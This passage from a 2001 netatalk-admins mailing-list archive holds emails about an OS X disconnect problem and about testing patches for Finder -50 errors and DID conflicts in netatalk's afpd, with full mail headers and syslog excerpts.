cl9leGNoYW5nZWZpbGU6DQogICAgcmV0dXJuIGVycjsNCn0NCg==
--0-1177842459-1008950548=:62951--

From netatalk.administrators-errors@umich.edu  Fri Dec 21 12:10:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA23258
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Dec 2001 12:10:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA28063
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Dec 2001 12:10:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA28053
	for netatalk.administrators-members@umich.edu; Fri, 21 Dec 2001 12:10:55 -0500 (EST)
Received: from columbiaschools.org ([209.194.150.253])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA28016
	for <netatalk-admins@umich.edu>; Fri, 21 Dec 2001 12:10:54 -0500 (EST)
Received: from marvins2K [209.194.150.107] by columbiaschools.org
  (SMTPD32-6.06) id A79435001A0; Fri, 21 Dec 2001 10:47:16 -0600
Message-ID: <020901c18a3e$4db72c20$9865fea9@marvins2K>
From: "Marvin Adams" <mmadams@columbiaschools.org>
To: <netatalk-admins@umich.edu>
Subject: OS X Disconnect
Date: Fri, 21 Dec 2001 10:41:13 -0600
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0206_01C18A0C.02FC89F0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700

This is a multi-part message in MIME format.

------=_NextPart_000_0206_01C18A0C.02FC89F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I have been using ASIP and Netatalk together for several weeks now.  I =
am
now trying to authenticate to an OS X server with home directories on =
the
Linux box.

When migrating the users from ASIP, I need to mount the Linux server to =
the
OS X box to complete the process.

I can authenticate via TCP or AppleTalk with no problem.  However, when =
I
choose a sharepoint on the Linux server and start to mount it, the Linux
server disconnects.

Any advice would be appreciated.


------=_NextPart_000_0206_01C18A0C.02FC89F0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4912.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Times New Roman" =
size=3D3>I have been=20
using ASIP and Netatalk together for several weeks now.&nbsp; I =
am<BR>now trying=20
to authenticate to an OS X server with home directories on the<BR>Linux=20
box.<BR><BR>When migrating the users from ASIP, I need to mount the =
Linux server=20
to the<BR>OS X box to complete the process.<BR><BR>I can authenticate =
via TCP or=20
AppleTalk with no problem.&nbsp; However, when I<BR>choose a sharepoint =
on the=20
Linux server and start to mount it, the Linux<BR>server =
disconnects.<BR><BR>Any=20
advice would be appreciated.</FONT><BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_0206_01C18A0C.02FC89F0--


From netatalk.administrators-errors@umich.edu  Sat Dec 22 16:34:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA09580
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Dec 2001 16:34:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA29725
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Dec 2001 16:34:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA29717
	for netatalk.administrators-members@umich.edu; Sat, 22 Dec 2001 16:34:53 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA29701
	for <netatalk-admins@umich.edu>; Sat, 22 Dec 2001 16:34:52 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fBMLY0J62880;
	Sat, 22 Dec 2001 16:34:00 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: Error -50 copying from OS X
From: Joe Clarke <marcus@marcuscom.com>
To: Rick Zeman <rzeman@his.com>
Cc: roger.day@globalgraphics.com, Steve Freitas <sflist@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>
In-Reply-To: <B848C8B6.5A14%rzeman@his.com>
References: <B848C8B6.5A14%rzeman@his.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 22 Dec 2001 16:35:02 -0500
Message-Id: <1009056903.74079.4.camel@shumai.marcuscom.com>
Mime-Version: 1.0

Has anyone tried these patches yet?  I'm curious to know if the -50
errors have gone away.

Joe

On Fri, 2001-12-21 at 11:08, Rick Zeman wrote:
> On 12/21/01 7:52 AM, "roger.day@globalgraphics.com"
> <roger.day@globalgraphics.com> wrote:
> 
> > Trying to do this on linux redhat 7.1, I get
> > 
> > bash-2.04$ patch -p0 <directory.h.patch
> > patch unexpectedly ends in middle of line
> > patch: **** Only garbage was found in the patch input.
> > 
> > 
> > At 20/12/2001 20:54:44, Steve Freitas <sflist@ihonk.com> wrote:
> > #  Rick,
> > #
> > #  Joe Clarke has heard your pain! See below:
> > #
> > #  ----------
> > #  From: Joe Clarke <marcus@marcuscom.com>
> > #  Date: Thu, 20 Dec 2001 12:33:00 -0500 (EST)
> > #  To: Steve Freitas <sflist@ihonk.com>
> > #  Subject: Re: FW: Error -50 copying from OS X
> > #
> > #  Give these patches a try.  This implements a hashdid/lastdid hybrid.
> > #  You're free to give these out to others, but know that it may cause data
> > #  loss.  Hopefully, it will fix the -50 errors while not causing data loss.
> > #  Please provide feedback as soon as you can.
> > #
> > #  Joe
> > #  ----------
> > #
> > #  The patches should apply against RC2. Grab it, untar it, then put the
> > #  patches into <netatalk RC2 source dir>/etc/afpd. Then cd to etc/afpd and
> > #  apply them:
> > #
> > #  patch -p0 < directory.h.patch
> > #  patch -p0 < file.c.patch
> > #  patch -p0 < enumerate.c.patch
> > #
> > #  Then configure, use --with-did=last, make, make install and give it a try.
> > #
> > #  Steve
> > #
> > #
> > #   - directory.h.patch - file.c.patch - enumerate.c.patch
> 
> Yah, that was because somehow (Steve's OE?) the text files got converted to
> Mac line endings.  Change the files to Unix endings (I used BBEdit) and
> they'll then work.
> 
> -- 
> "So Long, and Thanks For All the Fish."
>        --Douglas Adams
>           1952-2001
> 
> 



From netatalk.administrators-errors@umich.edu  Sat Dec 22 16:45:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA10032
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Dec 2001 16:45:31 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA08544
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Dec 2001 16:45:31 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA08536
	for netatalk.administrators-members@umich.edu; Sat, 22 Dec 2001 16:45:31 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA08519
	for <netatalk-admins@umich.edu>; Sat, 22 Dec 2001 16:45:30 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id QAA11011;
	Sat, 22 Dec 2001 16:45:20 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Sat, 22 Dec 2001 16:45:19 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: Joe Clarke <marcus@marcuscom.com>
CC: <roger.day@globalgraphics.com>, Steve Freitas <sflist@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B84A691F.21B2%rzeman@his.com>
In-Reply-To: <1009056903.74079.4.camel@shumai.marcuscom.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/22/01 4:35 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:

> Has anyone tried these patches yet?  I'm curious to know if the -50
> errors have gone away.
> 
> Joe

I have tried them and I've yet to get the -50 with did=last and NO flocks.

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Sat Dec 22 18:53:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA15023
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Dec 2001 18:53:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA00148
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Dec 2001 18:53:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA00133
	for netatalk.administrators-members@umich.edu; Sat, 22 Dec 2001 18:53:36 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA00094
	for <netatalk-admins@umich.edu>; Sat, 22 Dec 2001 18:53:35 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fBMNqiJ63486;
	Sat, 22 Dec 2001 18:52:44 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: Error -50 copying from OS X
From: Joe Clarke <marcus@marcuscom.com>
To: Rick Zeman <rzeman@his.com>
Cc: roger.day@globalgraphics.com, Steve Freitas <sflist@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>
In-Reply-To: <B84A691F.21B2%rzeman@his.com>
References: <B84A691F.21B2%rzeman@his.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 22 Dec 2001 18:53:47 -0500
Message-Id: <1009065227.74079.6.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Sat, 2001-12-22 at 16:45, Rick Zeman wrote:
> On 12/22/01 4:35 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> 
> > Has anyone tried these patches yet?  I'm curious to know if the -50
> > errors have gone away.
> > 
> > Joe
> 
> I have tried them and I've yet to get the -50 with did=last and NO flocks.

Cool.  If all goes well, I may merge in the changes so to make the
release.  Tell me, are you seeing any DID conflict messages in your
syslog?

Joe

> 
> -- 
> "So Long, and Thanks For All the Fish."
>        --Douglas Adams
>           1952-2001
> 
> 



From netatalk.administrators-errors@umich.edu  Sat Dec 22 23:01:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA25469
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 22 Dec 2001 23:01:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA07299
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 22 Dec 2001 23:01:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA07286
	for netatalk.administrators-members@umich.edu; Sat, 22 Dec 2001 23:01:15 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA07269
	for <netatalk-admins@umich.edu>; Sat, 22 Dec 2001 23:01:14 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id XAA01819;
	Sat, 22 Dec 2001 23:01:10 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Sat, 22 Dec 2001 23:01:09 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: Joe Clarke <marcus@marcuscom.com>
CC: <roger.day@globalgraphics.com>, Steve Freitas <sflist@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B84AC135.21D1%rzeman@his.com>
In-Reply-To: <1009065227.74079.6.camel@shumai.marcuscom.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/22/01 6:53 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:

>> I have tried them and I've yet to get the -50 with did=last and NO flocks.
> 
> Cool.  If all goes well, I may merge in the changes so to make the
> release.  Tell me, are you seeing any DID conflict messages in your
> syslog?

None.

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Sun Dec 23 17:45:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA12434
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 23 Dec 2001 17:45:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA10436
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 23 Dec 2001 17:45:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA10417
	for netatalk.administrators-members@umich.edu; Sun, 23 Dec 2001 17:45:12 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA10385
	for <netatalk-admins@umich.edu>; Sun, 23 Dec 2001 17:45:11 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id RAA22711;
	Sun, 23 Dec 2001 17:45:09 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Sun, 23 Dec 2001 17:45:08 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: Joe Clarke <marcus@marcuscom.com>
CC: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B84BC8A4.220A%rzeman@his.com>
In-Reply-To: <1009065227.74079.6.camel@shumai.marcuscom.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/22/01 6:53 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:

> On Sat, 2001-12-22 at 16:45, Rick Zeman wrote:
>> On 12/22/01 4:35 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
>> 
>>> Has anyone tried these patches yet?  I'm curious to know if the -50
>>> errors have gone away.
>>> 
>>> Joe
>> 
>> I have tried them and I've yet to get the -50 with did=last and NO flocks.
> 
> Cool.  If all goes well, I may merge in the changes so to make the
> release.  Tell me, are you seeing any DID conflict messages in your
> syslog?

Nope, but I have been seeing a bunch of these, especially when running a cd
image through a loop device forked through netatalk:

Dec 23 17:25:48 rzeman afpd[779]: flushfork: dfile(3) Invalid argument
Dec 23 17:25:48 rzeman afpd[779]: afp_flushfork: Invalid argument
Dec 23 17:27:10 rzeman afpd[779]: flushfork: dfile(4) Invalid argument
Dec 23 17:27:10 rzeman afpd[779]: afp_flushfork: Invalid argument
Dec 23 17:28:14 rzeman afpd[779]: flushfork: dfile(3) Invalid argument
Dec 23 17:28:14 rzeman afpd[779]: afp_flushfork: Invalid argument
Dec 23 17:28:41 rzeman afpd[779]: flushfork: dfile(6) Invalid argument
Dec 23 17:28:41 rzeman afpd[779]: afp_flushfork: Invalid argument
Dec 23 17:29:15 rzeman afpd[779]: flushfork: dfile(5) Invalid argument
Dec 23 17:29:15 rzeman afpd[779]: afp_flushfork: Invalid argument

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Sun Dec 23 18:19:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA14627
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 23 Dec 2001 18:19:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA12559
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 23 Dec 2001 18:19:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA12541
	for netatalk.administrators-members@umich.edu; Sun, 23 Dec 2001 18:19:09 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA12503
	for <netatalk-admins@umich.edu>; Sun, 23 Dec 2001 18:19:08 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fBNNIDJ42568;
	Sun, 23 Dec 2001 18:18:13 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: Error -50 copying from OS X
From: Joe Clarke <marcus@marcuscom.com>
To: Rick Zeman <rzeman@his.com>
Cc: netatalk-admins <netatalk-admins@umich.edu>
In-Reply-To: <B84BC8A4.220A%rzeman@his.com>
References: <B84BC8A4.220A%rzeman@his.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 23 Dec 2001 18:19:03 -0500
Message-Id: <1009149543.53591.4.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Sun, 2001-12-23 at 17:45, Rick Zeman wrote:
> On 12/22/01 6:53 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> 
> > On Sat, 2001-12-22 at 16:45, Rick Zeman wrote:
> >> On 12/22/01 4:35 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> >> 
> >>> Has anyone tried these patches yet?  I'm curious to know if the -50
> >>> errors have gone away.
> >>> 
> >>> Joe
> >> 
> >> I have tried them and I've yet to get the -50 with did=last and NO flocks.
> > 
> > Cool.  If all goes well, I may merge in the changes so to make the
> > release.  Tell me, are you seeing any DID conflict messages in your
> > syslog?
> 
> Nope, but I have been seeing a bunch of these, especially when running a cd
> image through a loop device forked through netatalk:

This happens if the open AppleDouble data fork file descriptor specifies
a socket or other special file that doesn't support synchronization. 
I'm not exactly sure what you're doing, but it looks like the filesystem
or the files being opened do not support the fsync(2) call.

Joe

> 
> Dec 23 17:25:48 rzeman afpd[779]: flushfork: dfile(3) Invalid argument
> Dec 23 17:25:48 rzeman afpd[779]: afp_flushfork: Invalid argument
> Dec 23 17:27:10 rzeman afpd[779]: flushfork: dfile(4) Invalid argument
> Dec 23 17:27:10 rzeman afpd[779]: afp_flushfork: Invalid argument
> Dec 23 17:28:14 rzeman afpd[779]: flushfork: dfile(3) Invalid argument
> Dec 23 17:28:14 rzeman afpd[779]: afp_flushfork: Invalid argument
> Dec 23 17:28:41 rzeman afpd[779]: flushfork: dfile(6) Invalid argument
> Dec 23 17:28:41 rzeman afpd[779]: afp_flushfork: Invalid argument
> Dec 23 17:29:15 rzeman afpd[779]: flushfork: dfile(5) Invalid argument
> Dec 23 17:29:15 rzeman afpd[779]: afp_flushfork: Invalid argument
> 
> -- 
> "So Long, and Thanks For All the Fish."
>        --Douglas Adams
>           1952-2001
> 
> 



From netatalk.administrators-errors@umich.edu  Sun Dec 23 22:16:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA24029
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 23 Dec 2001 22:16:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA28738
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 23 Dec 2001 22:16:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA28725
	for netatalk.administrators-members@umich.edu; Sun, 23 Dec 2001 22:16:35 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA28708
	for <netatalk-admins@umich.edu>; Sun, 23 Dec 2001 22:16:34 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id WAA20753;
	Sun, 23 Dec 2001 22:16:33 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Sun, 23 Dec 2001 22:16:31 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: Rick Zeman <rzeman@his.com>, Joe Clarke <marcus@marcuscom.com>
CC: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B84C083F.221A%rzeman@his.com>
In-Reply-To: <B84BC8A4.220A%rzeman@his.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/23/01 5:45 PM, "Rick Zeman" <rzeman@his.com> wrote:

> On 12/22/01 6:53 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> 
>> On Sat, 2001-12-22 at 16:45, Rick Zeman wrote:
>>> On 12/22/01 4:35 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
>>> 
>>>> Has anyone tried these patches yet?  I'm curious to know if the -50
>>>> errors have gone away.
>>>> 
>>>> Joe
>>> 
>>> I have tried them and I've yet to get the -50 with did=last and NO flocks.
>> 
>> Cool.  If all goes well, I may merge in the changes so to make the
>> release.  Tell me, are you seeing any DID conflict messages in your
>> syslog?
> 
> Nope

I lied big-time.  I have a mount point (/mac) that's purely Mac files (~4500
files, 1.4 GB).  When I first compiled rc2, I recreated all of the files
(it's a mirror of another server).  This was with did=hash.  All worked
fine, but was told it wasn't safe.  Recompiled with the patches and
configured did=last.  Still worked well, adding and subtracting small
amounts of files.

Recreated the contents of /mac from scratch and all hell broke
loose....HUNDREDS of DID errors...and a totally confused file structure.
Recompiled with did=hash (if I do this any more, I'm going to have to have
separate compile directories) and the 1.4 GB went back into /mac without an
error.

Something tells me that did=last with the patches freaks when coping
thousands of files or a large amount on disk.

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Sun Dec 23 23:04:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA26387
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 23 Dec 2001 23:04:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA12671
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 23 Dec 2001 23:04:30 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA12664
	for netatalk.administrators-members@umich.edu; Sun, 23 Dec 2001 23:04:30 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA12647
	for <netatalk-admins@umich.edu>; Sun, 23 Dec 2001 23:04:29 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fBO43cJ43822;
	Sun, 23 Dec 2001 23:03:38 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: Error -50 copying from OS X
From: Joe Clarke <marcus@marcuscom.com>
To: Rick Zeman <rzeman@his.com>
Cc: netatalk-admins <netatalk-admins@umich.edu>
In-Reply-To: <B84C083F.221A%rzeman@his.com>
References: <B84C083F.221A%rzeman@his.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 23 Dec 2001 23:04:30 -0500
Message-Id: <1009166670.53591.8.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Sun, 2001-12-23 at 22:16, Rick Zeman wrote:
> On 12/23/01 5:45 PM, "Rick Zeman" <rzeman@his.com> wrote:
> 
> > On 12/22/01 6:53 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> > 
> >> On Sat, 2001-12-22 at 16:45, Rick Zeman wrote:
> >>> On 12/22/01 4:35 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> >>> 
> >>>> Has anyone tried these patches yet?  I'm curious to know if the -50
> >>>> errors have gone away.
> >>>> 
> >>>> Joe
> >>> 
> >>> I have tried them and I've yet to get the -50 with did=last and NO flocks.
> >> 
> >> Cool.  If all goes well, I may merge in the changes so to make the
> >> release.  Tell me, are you seeing any DID conflict messages in your
> >> syslog?
> > 
> > Nope
> 
> I lied big-time.  I have a mount point (/mac) that's purely Mac files (~4500
> files, 1.4 GB).  When I first compiled rc2, I recreated all of the files
> (it's a mirror of another server).  This was with did=hash.  All worked
> fine, but was told it wasn't safe.  Recompiled with the patches and
> configured did=last.  Still worked well, adding and subtracting small
> amounts of files.
> 
> Recreated the contents of /mac from scratch and all hell broke
> loose....HUNDREDS of DID errors...and a totally confused file structure.
> Recompiled with did=hash (if I do this any more, I'm going to have to have
> separate compile directories) and the 1.4 GB went back into /mac without an
> error.

That's strange.  I copied my Mac OS X System folder to a Netatalk volume
(26000 files) under OS 9.2.2, and it went off without a hitch.

Can you send me a copy of the directory.h you're using?  Also, did you
get any Finder errors (-50, -43, etc.)?  What Mac OS did you use to do
the copies.

Also, if you can reproduce the problem, I have a Perl script I'd like
you to run to help me track things down.

Joe

> 
> Something tells me that did=last with the patches freaks when coping
> thousands of files or a large amount on disk.
> 
> -- 
> "So Long, and Thanks For All the Fish."
>        --Douglas Adams
>           1952-2001
> 
> 



From netatalk.administrators-errors@umich.edu  Mon Dec 24 06:25:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA14054
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Dec 2001 06:25:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA06887
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Dec 2001 06:25:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA06869
	for netatalk.administrators-members@umich.edu; Mon, 24 Dec 2001 06:25:10 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id GAA06824
	for <netatalk-admins@umich.edu>; Mon, 24 Dec 2001 06:25:09 -0500 (EST)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 1590 invoked from network); 24 Dec 2001 11:22:03 -0000
Received: from unknown (HELO holly.cam.harlequin.co.uk) (193.128.4.58)
  by server-38.tower-1.london-2.starlabs.net with SMTP; 24 Dec 2001 11:22:03 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
